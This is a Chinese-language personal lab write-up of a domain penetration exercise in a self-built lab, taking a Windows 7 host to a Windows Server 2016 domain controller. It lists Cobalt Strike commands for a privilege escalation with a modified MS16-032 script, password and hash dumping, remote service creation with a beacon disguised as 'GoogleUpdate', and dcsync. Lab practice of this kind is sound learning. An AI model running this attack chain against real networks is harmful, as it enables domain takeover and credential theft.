概述

web选手学习域渗透记录。

环境

搭建一个简单的环境,由于刚开始,所以环境拓扑比较简单,但不影响学习。 三台主机:

  1. win2016 域控
  2. win7 域计算机
  3. debian 攻击机 3台机器在同一个内网中,并且可以互相访问,同时未安装杀软等防护软件。

流程

  1. 在debian上安装cs,同时生成beacon.exe
  2. 在win7上运行beacon.exe,上线;
  3. 利用ms16-032在win7提权到system权限;
  4. 为了简单,在win7上登陆域administrator账号
  5. 利用mimikatz抓密码,获得administrator密码
  6. 利用cs生成windows服务beacon2.exe
  7. 利用administrator权限和sc命令在域控上执行beacon2.exe,域控上线。

记录

模拟时,自己在win7运行,实际则可能是社工,钓鱼邮件,水坑,漏洞等。

有win7权限之后,在cs中抓密码,提示权限不够,需要提权。MS16-032,下载exe之后,发现是打开system权限的cmd,并没有回连。几次尝试之后使用powershell脚本。不过先修改一下MS16-032.ps1,因为运作之后,发现没有执行。查看脚本发现是函数,所以在最后加一行调用Invoke-MS16-032,同时将333行要执行的程序改为我们的beacon.exe的路径。

# 将shell调整为实时交互
sleep 0
# 查看当前目录
pwd
# 上传MS16-032.ps1
upload
# 列目录,查看已经上传成功
ls
# 执行powershell,由于有策略限制,使用命令bypass
shell powershell.exe -ExecutionPolicy Bypass -File MS16-032.ps1

得到system权限shell

sleep 0
# 获取hash
hashdump
# 获取明文密码,可以获取到当前用户密码
logonpasswords

在域控上远程登陆win7,使用administrator账号,提示会断开当前帐户链接,取消登陆。 执行logonpasswords未发现新密码。 在win7机器使用域控administrator登陆。 再次运行logonpasswords,获取administrator密码

# 在user权限shell中执行命令,获取域控主机名称
shell net time /domain
# ping ip
shell  ping -n 1 win2016
# spawnas admin权限
spawnas 选择域administrator密码

进入administrator权限shell,利用sc创建服务执行,这里有个坑,就是sc命令,=号后面要有空格,导致我好长时间不知道哪里有问题。跑到win7上面去执行,也是报错,刚开始看输出,感觉就是help,一直纳闷。后面仔细看时,发现里面有一句,=号后面要有空格隔开,真是坑。 首先生成windows服务的beacon2.exe

# 上传beacon2.exe
upload

shell net use \\win2016\ipc$ "密码" /user:Administrator

shell dir \\win2016\c$

shell copy beacon2.exe \\win2016\c$

shell sc \\win2016 create GoogleUpdate binPath= "C:\beacon2.exe"

shell sc \\win2016 start GoogleUpdate

获得域控system权限shell hashdump获取hash

dcsync 域

引用

  1. https://security.tencent.com/index.php/blog/msg/154
  2. https://zer1t0.gitlab.io/posts/attacking_ad/